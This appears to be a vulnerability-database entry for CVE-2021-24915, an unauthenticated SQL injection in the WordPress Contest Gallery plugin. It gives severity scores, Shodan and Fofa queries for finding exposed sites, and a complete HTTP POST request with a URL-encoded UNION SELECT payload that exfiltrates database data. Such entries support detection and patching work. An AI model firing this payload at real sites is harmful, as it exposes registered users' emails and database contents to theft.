| Title | Contest Gallery < 13.1.0.6 - SQL injection |
|---|---|
| Author | r3Y3r53 |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit SQL injection to extract database contents and enumerate all registered users including their email addresses, potentially facilitating targeted phishing attacks. |
| Remediation | Fixed in version 13.1.0.6 |
| CVSS Score | 9.8 |
| EPSS Score | 0.70278 |
| CVE ID | CVE-2021-24915 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/contest-gallery/ |
| Fofa Query | body=/wp-content/plugins/contest-gallery/ |
| Tags | cve2021 cve wordpress wp-plugin wpscan wp contest-gallery contest_gallery sqli vuln |
The plugin does not have capability checks and does not sanitise or escape the cg-search-user-name-original parameter before using it in a SQL statement when exporting users from a gallery, which could allow unauthenticated to perform SQL injections attacks, as well as get the list of all users registered on the blog, including their username and email address.
POST /wp-admin/admin.php?page=contest-gallery/index.php&users_management=true&option_id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 318
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
cg-search-user-name=&cg-search-user-name-original=%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x717a6b7871%2CIFNULL%28CAST%28VERSION%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x716b707871%29%2CNULL--%20-&cg_create_user_data_csv_new_export=true&cg-search-gallery-id-original=&cg-search-gallery-id=&cg_create_user_data_csv=true
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24915.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24915.pcap
N/AN/A